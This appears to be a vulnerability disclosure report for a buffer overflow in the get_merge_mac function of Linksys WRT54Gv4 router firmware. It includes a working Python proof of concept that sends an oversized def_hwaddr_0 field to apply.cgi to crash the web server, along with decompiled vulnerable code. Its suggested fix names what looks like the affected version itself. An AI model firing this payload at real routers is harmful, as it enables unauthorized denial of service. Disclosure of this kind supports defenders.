

# CVE Report - Buffer Overflow Vulnerability in FW\_WRT54Gv4\_4.21.5.000\_20120220 Routers

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## Vulnerability Title

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## Vulnerability Description

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Linksys FW\_WRT54Gv4 devices have a Buffer Overflow vulnerability in the get\_merge\_mac function, which allows remote attackers to cause web server crash via parameter def\_hwaddr\_0 passed to the binary through a POST request.

## POC

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```
import requests

url = f"http://{ip}/apply.cgi"

headers = {
    "Host": ip,
    "Content-Length": "146",
    "Cache-Control": "max-age=0",
    "Authorization": "Basic YWRtaW46YWRTaw4=",
    "Accept-Language": "zh-CN",
    "Upgrade-Insecure-Requests": "1",
    "Origin": f"http://{ip}",
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36",
    "Accept":
    "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Accept-Encoding": "gzip, deflate, br",
    "Connection": "keep-alive"
}
```

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data = {
    "action": "Apply",
    "def_hwaddr_0": "a"*1000,
    "def_hwaddr": '1'
}

response = requests.post(url, headers=headers, data=data)

print("Status Code:", response.status_code)
print("Response Content:", response.text)

```

## Cause Analysis

The `get_cgi` function accepts external data. The user affects `cgi` by setting the `def_hwaddr_0` value. After `strcat` splicing, it enters `a2` cause crash.

```

int __fastcall get_merge_mac(const char *a1, _BYTE *a2)
{
    int i; // $s1
    const char *cgi; // $s0
    int result; // $v0
    _BYTE v8[32]; // [sp+20h] [-38h] BYREF

    *a2 = 0;
    for ( i = 0; i < 6; ++i )
    {
        snprintf(v8, 30, "%s %d", a1, i);
        cgi = (const char *)get_cgi(v8);
        if ( !cgi )
            cgi = "00";
        if ( strlen(cgi) == 1 )
            strcat(a2, "0");
        strcat(a2, cgi);
    }
}

```

## Attack effect

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```
# /usr/sbin/httpd
#
Barry StartContinueTx,value=(null)

Barry StopContinueTx,value=(null)

Barry WL_attn_bb,value=(null)

Barry WL_tssi_enable,value=(null)

Barry ChangeANT,value=(null)

Barry StartEPI,value=(null)
# █
```

## Suggested Fix

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It is recommended to update to the version FW\_WRT54Gv4\_4.21.5 of router to fix this vulnerability.